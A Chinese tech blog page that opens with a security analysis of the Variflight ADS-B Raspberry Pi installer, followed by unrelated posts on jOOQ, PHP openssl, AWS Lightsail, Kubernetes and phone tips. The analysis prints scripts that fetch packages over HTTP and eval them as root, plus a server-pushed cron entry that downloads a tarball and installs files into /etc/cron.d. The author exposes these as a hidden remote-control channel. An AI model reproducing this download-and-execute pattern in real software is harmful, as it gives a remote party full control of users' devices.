飞常准 ads-b 脚本分析

最近玩 SDR,看到 ads-b 比较有意思,可以使用树莓派追踪附近飞机的实时位置,还有一些平台可以共享数据,看到更多的飞机。不过由于国内的相关规定,向境外平台分享数据是违法的,所以准本研究研究咱们自己的平台 – 飞常准。

飞常准 ads-b 平台的链接是 https://flightadsb.variflight.com/,页面整体来说跟国外知名的数据分享平台大同小异,不做过多介绍。不过在尝试接入该平台的时候,发现了一些有意思的东西,在此记录一下。

为避免飞常准修改相关页面,将当前官方页面截图记录:

可以看到,文档本身就是修改了一下树莓派的源,然后克隆了一个 github 仓库,运行了安装脚本。接下来我们看看这个仓库的脚本都有什么。该仓库已妥善备份。

https://github.com/davy12315/adsb

安装脚本分析

首先看 setup.sh,没有什么特殊的,就是处理了一下 Windows 和 Linux 的换行差异,处理了一下文件权限,然后新增了两个 cron 任务。之后执行了 get_message 下的初始化脚本,初始化数据推送。那么我们再来看看这个脚本。

到这开始不简单了,下面先贴上脚本内容:

#!/bin/bash

path='/root/get_message/'
DATE=`date -d "today" +"%Y-%m-%d_%H:%M:%S"`
result=""
UUID=""
execom=""
FromServer=""
SourceMD5=""
device=""

if ps -ef |grep dump1090 |grep -v grep >/dev/null
then
        device="adsb"
elif ps -ef |grep acarsdec |grep -v grep >/dev/null
then
        device="acars"
else
        device="unknow"
fi

IpAddr=`/sbin/ifconfig |grep "addr:" |grep -v 127.0.0.1 |cut -d ':' -f2 |cut -d ' ' -f1`

if [ -f "/root/get_message/UUID" ]
then
        UUID=`cat /root/get_message/UUID`
fi

execut(){
        while read command
        do
                eval $command
                if [  $? -ne 0 ]
                then
                        execom=$command
                        result=0
                        break
                fi
                result=1
        done <$path/package/exe.txt
}

removefile(){
        rm -rf $path/package
        rm -f $path/*tar.gz*
}

main(){
	ps -eaf | grep "pic.veryzhun.com/ADSB/update/newpackage.tar.gz" | grep -v grep
	if [ $? -eq 1 ]
	then
		/usr/bin/wget -P $path -c -t 1 -T 2 pic.veryzhun.com/ADSB/update/newpackage.tar.gz
        	if [ -f "$path/newpackage.tar.gz" ]
        	then
                	dmd5=`md5sum $path/newpackage.tar.gz|cut -d ' ' -f1`
                	if [ "$SourceMD5" = "$dmd5" ]
                	then
                        	/bin/tar -xzf $path/newpackage.tar.gz -C $path
                        	echo $SourceMD5 > $path/md5.txt
                        	/bin/touch /usr/src/start.pid
                        	echo $DATE > /usr/src/start.pid
                        	execut
                        	if [ $result -eq 1 ]
                        	then
                                	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="success" http://receive.cdn35.com/ADSB/result.php
                        	else
                                	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom=$execom -d message="fail" http://receive.cdn35.com/ADSB/result.php
                        	fi
                        	removefile
                	else
                        	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="post file has been changed" http://receive.cdn35.com/ADSB/result.php
                        	removefile
                	fi
        	else
                	curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="download failed" http://receive.cdn35.com/ADSB/result.php
                	removefile
        	fi
	fi
}

if curl -m 2 -s pic.veryzhun.com/ADSB/update.php >/dev/null;then
	removefile
        FromServer=`curl -m 2 -s -d UUID="$UUID" -d IpAddr="$IpAddr" -d Device="$device" pic.veryzhun.com/ADSB/update.php`
        SourceMD5=`echo $FromServer|cut -d ' ' -f1`
	length=`echo $SourceMD5 |wc -L`
        if [ $length -ne 32 ]
        then
                curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="md5 style error" http://receive.cdn35.com/ADSB/result.php
		exit
        fi
else
        curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="curl failed" http://receive.cdn35.com/ADSB/result.php
        exit
fi

DesMD5=`cat $path/md5.txt`
if [ "$SourceMD5" = "$DesMD5" ]
then
        curl -m 2 -s -d UUID=$UUID -d date=$DATE -d execom="------" -d message="no update,md5 without change " http://receive.cdn35.com/ADSB/result.php
        exit
else
        main
fi

这里首先我们能看到一个 execut 函数,这个函数读取了 package/exe.txt 文件,并将文件中的每一行当作一个命令去执行。那么我们再找找看,这个文件是哪来的呢?在仓库里并没有看到,那么应该是从下载的文件里获取的了。我们把这个文件下载下来看下内容:

pic.veryzhun.com/ADSB/update/newpackage.tar.gz

文件 md5 bec9868f5da5d3dc3359b3d0e9ecf33d

解压之后可以看到三个文件,init.sh one.sh 和 exe.txt

其中 exe.txt 很简单,内容就是执行 one.sh

/root/get_message/package/one.sh

再看 one.sh,虽然很复杂,但是目前来看是没有问题的,也只启用了一个上报当前时间的功能,pass。

到这里,说说现阶段的问题。在这个 setup 脚本中,先是从一个未加密的网站下载了一个打包的脚本,然后根据下载回来的内容动态执行脚本,并且是 root 权限,想想就很可怕。如果这个通道被人利用,那么可以让用户毫无察觉的被植入恶意软件

有些朋友可能会说,下面不是有做 md5 校验么?但是请注意,所有跟服务器的交互全都是基于 HTTP,无任何加密,篡改服务端返回不要太容易。

上报脚本分析

分析完了安装脚本,再来看看上报脚本。上报使用的主要是 send_message.py 和 get_ip.py。其中前者比较正常,问题不大。我们来重点看看后者。

import socket
import fcntl
import struct
import urllib2
import urllib
import sys,os
import ConfigParser
import hashlib
import json
import uuid

config = ConfigParser.ConfigParser()
config.readfp(open(sys.path[0]+'/config.ini',"rb"))

uuid_file=sys.path[0]+'/UUID'

if os.path.exists(uuid_file) :
	file_object = open(uuid_file)
	mid = file_object.read()
	file_object.close()
else :
	mid = uuid.uuid1().get_hex()[16:]
	file_object = open(uuid_file , 'w')
	file_object.write( mid )
	file_object.close()

def send_message(source_data):
	source_data=source_data.replace('\n','$$$')
	f=urllib2.urlopen(
			url = config.get("global","ipurl"),
			data =  source_data,
			timeout = 60
			)
	tmp_return=f.read()

	request_json=json.loads(tmp_return)
	request_md5=request_json['md5']
	del request_json['md5']
	
	
	tmp_hash=''
	for i in request_json:
		if tmp_hash=='' :
			tmp_hash=tmp_hash+request_json[i]
		else :
			tmp_hash=tmp_hash+','+request_json[i]
		
	md5=hashlib.md5(tmp_hash.encode('utf-8')).hexdigest()
	
	if (md5 == request_md5):
		operate(request_json)
	else :
		print 'MD5 ERR'

	print "return: "+tmp_return;

def get_ip_address(ifname):
    skt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    pktString = fcntl.ioctl(skt.fileno(), 0x8915, struct.pack('256s', ifname[:15]))
    ipString  = socket.inet_ntoa(pktString[20:24])
    return ipString
    
def operate(request_json):
	if request_json['type'] == 'reboot' :
		os.system('/sbin/reboot')
	elif request_json['type'] == 'code' :
		fileHandle = open ( urllib.unquote( request_json['path'] ) , 'w' )
		fileHandle.write( urllib.unquote( request_json['content'] ) )
		fileHandle.close()
	else :
		print 'OK'
	


eth=get_ip_address('eth0')

send_message(mid+'|'+eth+'|')

首先我们看到的是获取当前设备的 UUID,没啥问题。紧接着是一个发送消息的函数,好像也没啥问题。然后有一个获取 IP 的函数,也没啥问题。诶,下面这个函数(63-71)是干什么的?有点意思啊?我们来重点看下。

首先这个函数有个字典入参,如果 type 为 reboot 就调用 /sbin/reboot。我去?这是要重启我的机器?再来往下看,如果 type 为 code,就把 content 写入到 path 里。我*,这是要在我的机器上随便写文件?搞什么?这个字典是哪来的?

往上翻,找到调用处,一路向上,发现这个数组就是上报 IP 时的服务端返回!这是什么意思?服务端还有完全控制我的设备的能力?!赶紧把实际执行去掉,改成 print 看看服务端会下发什么东西:

{
  "content": "* * * * * root /usr/bin/rm -f /etc/get_message/test.tar.gz;/usr/bin/wget -P /root/get_message/ -c -t 1 -T 2 pic.veryzhun.com/ADSB/update/test.tar.gz;/bin/tar -xzf /root/get_message/test.tar.gz -C /root/get_message/;/bin/mv /root/get_message/startupdate /etc/cron.d/;/bin/rm -f /etc/cron.d/onecroncommand\n",
  "path": "%2Fetc%2Fcron.d%2Fonecroncommand",
  "type": "code",
  "md5": "5f86a9d7564db4a4acf530d6a75b2c2c"
}

好家伙,不得了啊,服务端要向我的 /etc/cron.d/onecroncommand 写入一个新的定时任务,具体命令是从服务端下载一个文件,解压,然后移动到 /etc/cron.d/。不过我在测试的时候,该文件暂不存在,无法继续深入。至于 /etc/cron.d/ 这个目录的作用,稍微了解一些 Linux 的朋友应该都知道,就不再赘述。

顺便一说,这里的上报 IP 的通道,还是 HTTP 的。无加密。

到这里,想必也不需要再多说了,我们来总结一下该初始化脚本的完整功能:

  • 执行时,从服务端下载一打包后的脚本,并执行
  • 添加定时任务,定时上报 IP 信息
  • 上报 IP 信息的时候,根据服务器的响应,执行文件写入或重启操作
  • 服务器会下发任务,让客户端下载一文件包,并解压执行
  • 所有脚本在 root 下运行

如果你忘掉这是一个 ads-b 上报程序的初始化脚本,你觉得我在描述什么呢?

jOOQ 与 Spring 的一些注意事项

jOOQ 全称 Java Object Oriented Querying,即面向 Java 对象查询。它是 Data Geekery 公司研发的 DA 方案 (Data Access Layer),是一个 ORM 框架。

使用 jOOQ,既不像 Hibernate 等框架封装过高,无法触及 SQL 底层;也不像 MyBatis 等,配置太过繁琐。同时还是 Type Safe 的框架,编译时即可最大程度的发现问题。

不过在 jOOQ 配合 String Cloud 使用的时候,还是踩了几个小坑,特别说明一下。随时补充新遇到的问题。

一、事物问题

jOOQ 默认有一套自己的流式 API,来支持事物。不过,在 Spring 里面,我们使用的最多的还是 @EnableTransactionManagement@Transactional 注解。使用这二者可以开启 Spring 内置的基于注解和 Proxy 的事物处理机制,相对更灵活,更优雅。使用起来也更简单。

但是在跟 jOOQ 联动的时候,实际使用却发现事物始终不生效。但是奇怪的是,不论是打断点调试还是加日志,都能发现异常正常抛出了,也被 Spring 正常捕获了,Transaction 的 Rollback 也调用了,但是实际上事物就是没有撤销。

在多次排查 Spring 本身的配置问题后,突然想到问题可能处在 jOOQ 上。经过查找相关文档发现,由于我们的 SQL 都是通过 jOOQ 的 DSLContent 构建并执行的,所以默认情况下并不会受 Spring Transaction Manager 的管理。这里我们需要在配置 jOOQ 的时候,特别配置一下,才能让 @Transactional 注解生效。参考官网的样例,XML 配置如下:

<?xml version="1.0" encoding="UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:tx="http://www.springframework.org/schema/tx"
       xsi:schemaLocation="
            http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
            http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.2.xsd">

    <!-- This is needed if you want to use the @Transactional annotation -->
    <tx:annotation-driven transaction-manager="transactionManager"/>

    <bean id="dataSource" class="org.apache.commons.dbcp2.BasicDataSource" destroy-method="close" >
        <!-- These properties are replaced by Maven "resources" -->
       <property name="url" value="${db.url}" />
       <property name="driverClassName" value="${db.driver}" />
       <property name="username" value="${db.username}" />
       <property name="password" value="${db.password}" />
    </bean>

    <!-- Configure Spring's transaction manager to use a DataSource -->
    <bean id="transactionManager"
        class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
        <property name="dataSource" ref="dataSource" />
    </bean>

    <!-- Configure jOOQ's ConnectionProvider to use Spring's TransactionAwareDataSourceProxy,
         which can dynamically discover the transaction context -->
    <bean id="transactionAwareDataSource"
        class="org.springframework.jdbc.datasource.TransactionAwareDataSourceProxy">
        <constructor-arg ref="dataSource" />
    </bean>

    <bean class="org.jooq.impl.DataSourceConnectionProvider" name="connectionProvider">
        <constructor-arg ref="transactionAwareDataSource" />
    </bean>

    <!-- Configure the DSL object, optionally overriding jOOQ Exceptions with Spring Exceptions -->
    <bean id="dsl" class="org.jooq.impl.DefaultDSLContext">
        <constructor-arg ref="config" />
    </bean>
    
    <bean id="exceptionTranslator" class="org.jooq.example.spring.exception.ExceptionTranslator" />
    
    <!-- Invoking an internal, package-private constructor for the example
         Implement your own Configuration for more reliable behaviour -->
    <bean class="org.jooq.impl.DefaultConfiguration" name="config">
        <property name="SQLDialect"><value type="org.jooq.SQLDialect">H2</value></property>
        <property name="connectionProvider" ref="connectionProvider" />
        <property name="executeListenerProvider">
            <array>
                <bean class="org.jooq.impl.DefaultExecuteListenerProvider">
                    <constructor-arg index="0" ref="exceptionTranslator"/>
                </bean>
            </array>
        </property>
    </bean>
    
    <!-- This is the "business-logic" -->
    <bean id="books" class="org.jooq.example.spring.impl.DefaultBookService"/>
</beans>

核心要点在这段:

<!-- Configure jOOQ's ConnectionProvider to use Spring's TransactionAwareDataSourceProxy,
         which can dynamically discover the transaction context -->
    <bean id="transactionAwareDataSource"
        class="org.springframework.jdbc.datasource.TransactionAwareDataSourceProxy">
        <constructor-arg ref="dataSource" />
    </bean>

    <bean class="org.jooq.impl.DataSourceConnectionProvider" name="connectionProvider">
        <constructor-arg ref="transactionAwareDataSource" />
    </bean>

这里要注意,一定要用 Spring 的 TransactionAwareDataSourceProxy 包装一层前面配置的 DataSource 对象。否则,jOOQ 拿到的就是一个没有被托管的原始 DataSource,那么就不会被 @Transactional 注解所管控。

对应的 Java 方式配置要点如下:

package de.maoxian.config;

import javax.sql.DataSource;

import org.jooq.ConnectionProvider;
import org.jooq.DSLContext;
import org.jooq.SQLDialect;
import org.jooq.impl.DataSourceConnectionProvider;
import org.jooq.impl.DefaultConfiguration;
import org.jooq.impl.DefaultDSLContext;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.boot.jdbc.DataSourceBuilder;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.jdbc.datasource.DataSourceTransactionManager;
import org.springframework.jdbc.datasource.TransactionAwareDataSourceProxy;
import org.springframework.transaction.annotation.EnableTransactionManagement;

@Configuration
@EnableTransactionManagement
public class DbConfig {
    @Bean
    @Primary
    @ConfigurationProperties(prefix = "spring.datasource.maoxian")
    public DataSource dataSource() {
        return DataSourceBuilder.create().build();
    }

    @Primary
    @Bean
    public DataSourceTransactionManager transactionManager(DataSource dataSource) {
        return new DataSourceTransactionManager(dataSource);
    }

    @Bean
    public DSLContext dslContext(@Qualifier("maoxian-jooq-conf") org.jooq.Configuration configuration) {
        return new DefaultDSLContext(configuration);
    }

    @Bean("maoxian-jooq-conf")
    public org.jooq.Configuration jooqConf(ConnectionProvider connectionProvider) {
        return new DefaultConfiguration().derive(connectionProvider).derive(SQLDialect.MYSQL);
    }

    @Bean
    public ConnectionProvider connectionProvider(TransactionAwareDataSourceProxy transactionAwareDataSource) {
        return new DataSourceConnectionProvider(transactionAwareDataSource);
    }

    @Bean
    public TransactionAwareDataSourceProxy transactionAwareDataSourceProxy(DataSource dataSource) {
        return new TransactionAwareDataSourceProxy(dataSource);
    }
}

重点在 ConnectionProvider 的配置。此处的 ConnectionProvider 在创建时,必须使用被 Spring 包过的 DataSource。如果直接使用 DataSource 而不是 TransactionAwareDataSourceProxy 则注解失效。


参考文档:

https://www.jooq.org/doc/latest/manual/getting-started/tutorials/jooq-with-spring/

PHP加解密算法使用 openssl 替换 mcrypt 扩展的一个小坑

由于 PHP 7.2 不再支持 mcrypt,因此需要将 mcrypt 替换为 openssl。

但是在替换发现,php 的 openssl 和 mcrypt 实现有一些不同,有几个坑需要注意。

  1. mcrypt 中的 RIJNDAEL_128 算法是 AES 算法的超集,RIJNDAEL_128 的 128 指的是 Block Size,而 AES-128 中的 128 是 Key Size。因此,同是 RIJNDAEL_128 算法,如果你使用的 Key 是 128 位的(16 个字符)那就等同 AES-128。如果 Key 是 192 位的(24 个字符),那就等同与 AES-192。如果 Key 是 256 位的(32 个字符),则等同与 AES-256
  2. 如果使用 RIJNDAEL_256,则无法对应到 AES 算法。因为 AES 固定了 Block Size 是 128,没有 256 的选择
  3. php 的 openssl 实现的 AES 算法,只有 PKCS#7 padding 和 no padding 两个选择,而 mcrypt 默认是 zero padding。因此,如果原先没有手动处理 padding,则切换到 openssl 的时候需要启用 no padding 并手动处理 padding。
  4. 一些函数的替换:mcrypt_get_iv_size  替换为 openssl_cipher_iv_lengthmcrypt_create_iv  替换为 openssl_random_pseudo_bytes

修改前后代码如下:

<?php
define('ENCRYPT_METHOD', 'AES-256-CBC');
define('IV_SIZE', openssl_cipher_iv_length(ENCRYPT_METHOD));

function encrypt_mcrypt($payload, $key)
{
  // 初始化 IV
  $iv = openssl_random_pseudo_bytes(IV_SIZE);
  // 调用加密
  $crypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $payload, MCRYPT_MODE_CBC, $iv);
  // 拼接 IV 和 密文
  $combo = $iv . $crypt;
  // 编码拼接后的密文
  $garble = base64_encode($combo);
  return $garble;
}

function decrypt_mcrypt($garble, $key)
{
  // 解码密文
  $combo = base64_decode($garble);
  // 根据 IV SIZE 提取 IV
  $iv = substr($combo, 0, IV_SIZE);
  // 获取剩余密文
  $crypt = substr($combo, IV_SIZE);
  // 解密
  $payload = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $crypt, MCRYPT_MODE_CBC, $iv);
  return $payload;
}

function encrypt_openssl($payload, $key)
{
  // 初始化 IV
  $iv = openssl_random_pseudo_bytes(IV_SIZE);
  // 对密文进行 padding, 16 = 128 / 8
  if (strlen($payload) % 16) {
    $payload = str_pad(
      $payload,
      strlen($payload) + 16 - strlen($payload) % 16,
      "\0"
    );
  }
  // 加密
  $encryptedMessage = openssl_encrypt($payload, ENCRYPT_METHOD, $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING, $iv);
  // 编码,拼接 IV
  return base64_encode($iv . $encryptedMessage);
}
function decrypt_openssl($garble, $key)
{
  // 解码密文
  $raw = base64_decode($garble);
  // 根据 IV SIZE 提取 IV
  $iv = substr($raw, 0, IV_SIZE);
  // 获取剩余密文
  $data = substr($raw, IV_SIZE);
  // 解密
  return openssl_decrypt($data, ENCRYPT_METHOD, $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING, $iv);
}

$key = md5("password");
echo (decrypt_openssl(encrypt_mcrypt("4db8c44de8f16b4f0c39ef3b38d47c6bdd000082b3b628ee25c20b308d02cf29", $key), $key) . "\n");
echo (decrypt_mcrypt(encrypt_openssl("4db8c44de8f16b4f0c39ef3b38d47c6bdd000082b3b628ee25c20b308d02cf29", $key), $key) . "\n");

 

AWS Lightsail 修改 DB 参数

AWS 推出的 Lightsail Database 是目前比较实惠的托管 DB 方案。不过相对来说,Lightsail 的控制面板功能较少,很多参数无法修改。经过搜索发现,其实我们有很多参数可以调,只是需要通过命令行的方式来调整。

准备工作

安装 aws-cli 工具

https://aws.amazon.com/cli/

https://lightsail.aws.amazon.com/ls/docs/en_us/articles/lightsail-how-to-set-up-and-configure-aws-cli

Linux:

sudo apt-get install awscli

MacOS:

brew install awscli

Python(通用):

pip install awscli

设置 Access Key

https://lightsail.aws.amazon.com/ls/docs/en_us/articles/lightsail-how-to-set-up-access-keys-to-use-sdk-api-cli

先在 AWS 控制台新建用户或 Key:

https://console.aws.amazon.com/iam/home#/users

然后执行:

aws configure

按照提示依次输入:

AWS Access Key ID 控制台中创建的 Key
AWS Secret Access Key 控制台中创建的 Key 对于的 Secret
Default region name 可用区,https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
Default output format 输出格式,建议 json

获取现有设置

aws lightsail get-relational-database-parameters --relational-database-name DatabaseName > current_params.json

注意 DatabaseName 替换为创建 DB 时设置的名称。就是 Lightsail 控制面板里显示的那个。

执行成功后打开 json 文件,可以看到所有变量。

注意每个变量有几个属性:

Allowed values 允许的变量范围
Apply method 变量的生效时间。immediate 表示立即生效,pending-reboot 表示重启后生效
Apply type 底层引擎支持的生效方式。dynamic 动态,可以立即生效,static 静态,必须重启后才能生效
Data type 数据类型
Description 变量描述
Is modifiable 能否修改
Parameter name 变量名

这里我们用最大连接数举例:

{
    "allowedValues": "1-100000",
    "applyMethod": "pending-reboot",
    "applyType": "dynamic",
    "dataType": "integer",
    "description": "The number of simultaneous client connections allowed.",
    "isModifiable": true,
    "parameterName": "max_connections",
    "parameterValue": "{DBInstanceClassMemory/12582880}"
}

可以看到,最大连接数是一个动态变量,整型,可修改。默认是实例内存大小/12582880,也就是 1G 内存约 80 个链接。实际比这个数值少,没有具体深究。

修改设置

找到了对于的参数,就可以修改了。修改参数使用的指令是:

aws lightsail update-relational-database-parameters --relational-database-name DatabaseName --parameters "parameterName=ParameterName,parameterValue=NewParameterValue,applyMethod=ApplyMethod"

DatabaseName 是实例名,ParameterName 替换为要修改的变量,NewParameterValue 替换为变量的值,ApplyMethod 替换为想要的生效方式。

比如,我们修改最大连接数到 1000,重启后生效,对应的命令为:

aws lightsail update-relational-database-parameters --relational-database-name DatabaseName --parameters "parameterName=max_connections,parameterValue=1000,applyMethod=pending-reboot"

成功后会收到这样的响应:

{
    "operations": [
        {
            "id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
            "resourceName": "DatabaseName",
            "resourceType": "RelationalDatabase",
            "createdAt": 1570000000.000,
            "location": {
                "availabilityZone": "ap-northeast-1a",
                "regionName": "ap-northeast-1"
            },
            "isTerminal": true,
            "operationDetails": "",
            "operationType": "UpdateRelationalDatabaseParameters",
            "status": "Succeeded",
            "statusChangedAt": 1570000000.000
        }
    ]
}

看到 status Succeeded 就是设置成功啦!

官方文档:

https://lightsail.aws.amazon.com/ls/docs/en_us/articles/amazon-lightsail-updating-database-parameters

 

远程桌面工具对比

由于之前很好用的 TeamView 最近开始大力检测商业用途,导致很多个人用户几乎完全无法使用,因此急需找一个替代品来使用。

通过小众软件的文章推荐,大致看到了两个不错的选择:AnyDesk 和 Remote Utilities。至于向日葵之类需要注册、登录、安装的国内软件不在考虑范围内。

于是开始试用 AnyDesk 和 Remote Utilities,下面是一个简单的对比。

  1. 从配置上来说,两款软件的配置项都很相似。相对来说 AnyDesk 的配置界面更亲民,组织更合理。但是配置项相对较少;
  2. 从画质上来说,AnyDesk 更胜一筹。相对来说颜色失真更少,帧率更高。不过这里没有使用工具测量,纯人眼感受;
  3. 从系统资源占用来看,二者相差不大。在同一台机器同网络同分辨率的环境下,基本 CPU 和 内存占用都差不多;
  4. 从网络流量来看,AnyDesk 远超 Remote Utilities。还是相同的测试,屏幕持续播放相同的视频,AnyDesk 的流量峰值基本在 1M 以内,偶尔会窜到 10M,但是会迅速回落。而 Remote Utilities 则基本稳定在 10M 以上,最高可以达到 50M。相比较而言,Remote Utilities 的流量优化就大大弱于 AnyDesk 了;
  5. 从部署上来看,Remote Utilities 支持自定义 ID 服务器。当工作在这种模式下的时候,内网机器不需要访问外网就可以互相连接,是一个很不错的点。但是呢,由于 Remote Utilities 对网络流量优化较差,这台 ID 服务器需要有极高的带宽和极佳的网络质量来支撑机器间的互联。因此,个人用户几乎无法使用这个功能,因为服务器的费用可能比直接购买 TeamView 还高;
  6. 从客户端上看,AnyDesk 的移动客户端相对来说做的更好。整体界面、操控手感都远胜 Remote Utilities。感觉 Remote Utilities 的移动客户端就是个残废。。。至少到目前为止,那几个触屏手势我都没掌握要怎么触发;

综上,如果是对隐私要求非常严格的用户或者存在纯内网环境,那么 Remote Utilities 是个不错的选择。除此之外,还是强烈建议使用 AnyDesk 吧!

各家云上 Kubernetes 服务对比

最近在研究 GitLab 的 DevOps 工作流,看到 GitLab 可以和 K8s 通过 API 进行交互,于是决定研究一下各种云的 K8s 服务,做一个简单的对比。

部署方式

根据部署方式的不同,我们可以将不同的云服务进行分类:

  • 全托管:Master 节点和 Worker 节点完全由云来管理,只提供 API 来调用,一般按照实际的 CPU 和内存使用来计费
  • 半托管:Master 节点由云来管理,自行购买 Worker 节点。可以修改部分 Master 节点的配置,所有容器在自己的机器上运行
  • 全独立:Master 节点和 Worker 节点都由用户管理,云只负责节点的初始化和小部分维护工作。可以修改几乎所有 Master 的配置,整个集群完全独立

首先来看下各个云提供商所提供的服务类型:

提供商\类型 全托管 半托管 全独立
腾讯云 CIS TKE TKE 独立部署
阿里云 Serverless Kubernetes Kubernetes 托管版 Kubernetes
Azure 容器实例 Kubernetes 服务 /
AWS ECS EKS /
GCP / GKE GKE On-Prem
仅能在非 GCE 机器部署

其中,全托管模式只有阿里云提供 k8s API 调用,其余提供商都不直接支持 k8s API

半托管模式基本相似,都是由云服务商运行 Master Node,区别在于 AWS 的 EKS 对 Master 节点收费,其余服务商均不收取 Master 节点的费用。

版本支持

然后再来看看各个服务商对于 k8s 版本的支持:

提供商\版本 最低版本 最高版本 是否支持升级
腾讯云 1.8.13 1.12.4
阿里云 1.11.5 1.12.6
Azure 1.10.12 1.14.0
AWS 1.10 1.12
GCP 1.11.10 1.13.6

可以看到,除了 Azure 对于新版的支持非常激进外,大部分云提供商都很谨慎的对版本升级进行跟进。GCP 是个例外,毕竟 K8s 是 Google 搞出来的,似乎比所有人都更激进。

价格

最后再来看看各个服务商的价格:

提供商\版本 Master 节点 常驻 Worker 突发 Worker
腾讯云 / ¥49.5/m 同 ECS
阿里云 / 至少两个
2c4G
$57.41/m
¥396.129/m
Azure / 至少一个
2c4G
$49.18/m
¥339.342/m
同普通虚拟机
AWS $0.20/hr
¥1.38/hr
¥993.6/m
/ 同 ECS
GCP / 1c1.7G
$13.8/m
¥95.22/m
同 GCS
$0.031611 / vCPU hour
$0.004237 / GB hour
按秒计费,最低 1 分钟

1美元按6.9人民币计算

总体来说,如果是不常用的集群,节点费用上 GCP 较低,AWS 则由于 Master 管理费的存在很不划算。

而阿里云则是比较奇葩,基础版本的机型无法使用。内存 CPU 较小的机型则不能使用阿里定制的网络插件。而且,阿里云是唯一一个必须至少有 2 个常驻节点的服务商。所以整体来说成本较高。

总结

对于短时间使用的测试集群,腾讯云是一个不错的选择。整体价格低廉,成本低。GCP 也非常不错,就算是长时间闲置也不会有太高的花费。

对于生产集群,考虑服务稳定性和后续的持续维护性,Azure 和 GCP 都是不错的选择。Azure 价格略高,但是相对来说周边生态较好。GCP 则费用低廉。如果对 Azure 周边生态有所依赖的,可以尝试一下。而对于个人开发者来说,由于 GCP 还有免费额度,可能是初期一个较好的选择。

Epic Store 购买攻略

垃圾 Epic Store!

垃圾 Epic Store!

垃圾 Epic Store!

好了,说正事。

由于某些众所周知的原因,我们只能想办法在 Epic Store 上购买一些想玩的大作。但是作为一个新兴的平台,付款之路坑实在太多,在这记录一下。

TL;DR

对没有国外信用卡的人来说,中国发行的 Visa/MasterCard/AE 等信用卡,配上账号所在区域的 PP 账号,就可以支付成功。

下面来详细说明:

  1. 先进 Account 看你的账户所在区域
  2. IP 跟账户的区域无关,只要 IP 不是大陆的,账户区域不是中国就可以
  3. 在购买成功之前,账号区域可以修改。如果已经不可修改,找客服吧
  4. 中国大陆发行的信用卡直接被拒绝
  5. 账户所在区域的 PP 关联大陆卡之后,可以成功

新版 Mac U 盘重装系统的注意事项

由于苹果在新版的 Mac 中内置了 T2 安全芯片,因此当我们在下面这些版本的 Mac 上尝试使用 U 盘重装系统的时候,需要额外注意。

本文章适用的 Mac 型号包括:

主要注意的核心点是:

  1. 不要先格式化硬盘
  2. 不要先删除原系统中的管理员用户
  3. 切记先进 Recovery 模式修改安全芯片选项,再开始重装
  4. 最好先升级到最新的系统再重装

说说原因:

  1. 如果先格式化硬盘,Recovery 模式无法找到有效的管理员账号,不允许修改 T2 芯片的选项
  2. 同 1,删除所有管理员账户会导致无法修改选项
  3. 将安全芯片选项修改为 No Security + Allow booting from external media 之后,再进行重装,防止重装操作被安全芯片拦截。
  4. 遇到很多诡异的问题就算将安全芯片选项修改了也不生效。但是有时候又是生效的。所以最好升级到最新的啦

https://support.apple.com/en-us/HT208330

华为 EMUI 8.0 免登录账号开启 ADB 方法

这两天拿到一台新的华为 Mate 10,准备自己折腾一下。但是在打开开发者选项,准备开 ADB 的时候,却发现必须要我登录华为账号才能开启。这就很烦人了,我并不想登录。于是搜了一下解决方案,发现网上说到这个事情的不多,而且步骤不太正确。这里记录一下正确的方法。

首先贴官方回复:

打开USB调试开关需要先登录华为账号问题现象:
在没有登录华为账号的情况下,打开开发者选项中的USB调试开关时,会提示请先登录华为账号。
在已登录华为账号的情况下,可以正常打开开发者选项中的USB调试开关。

问题原因:
华为公司收到了部分用户反馈第三方应用使用过程中遇到稳定性、推送广告、后台耗电等问题,经过调查发现,造成这些问题的原因是部分三方应用被通过USB调试端口自动安装到手机。为了使您能够更流畅、更放心的使用手机,保护您的隐私以及合法权益,避免以上问题出现,华为公司添加了对USB调试开关的身份确认,打开USB调试开关时需要登录华为账号,感谢您的理解与支持!

非华为手机出厂预装的第三方应用会有以下危害:
1.使用非华为手机出厂预装的第三方应用容易引起软件卡顿、手机发热、耗电快等问题,影响您对于手机的体验感知度;
2.使用非华为手机出厂预装的第三方应用,可能会在未经您允许情况下,向您推送一些广告。

解决方案(仅适用于网点维修):
维修工具使用注意事项
ComPartner工具的使用,注意以下事项:

建议方案:使用HDB连接(HDB不受USB调试管控影响,无需输入华为帐号):
在“设置”->“安全和隐私”->“更多安全设置”界面,确认已打开“允许HiSuite通过HDB连接设备”开关按钮;

连接USB数据线,选择“传输文件”选项。

备用方案:EMUI8.1、EMUI8.2版本也可以使用ADB连接
在拨号界面输入*#*#2846579#*#*进入工程模式;
选择“1.后台设置”->“2.USB端口设置”->“生产模式”,系统自动打开USB端口。

备注:
高维和生产环境已做了针对性适配,可以直接打开USB调试;
华为手机助手(HiSuite)使用不受影响;
Root过的手机可以直接打开USB调试;
ComPartner工具版本号为5.1.21.02,通过以上方式打开,已验证没有问题。

注意最下面的备用方案,虽然说是 EMUI8.1 8.2 使用,但是我实测 8.0 也可以用。

不过这里在操作的时候有顺序要求,经过测试,应该这样:

  1. 先打开开发者选项备用,先开启仅充电模式下调试
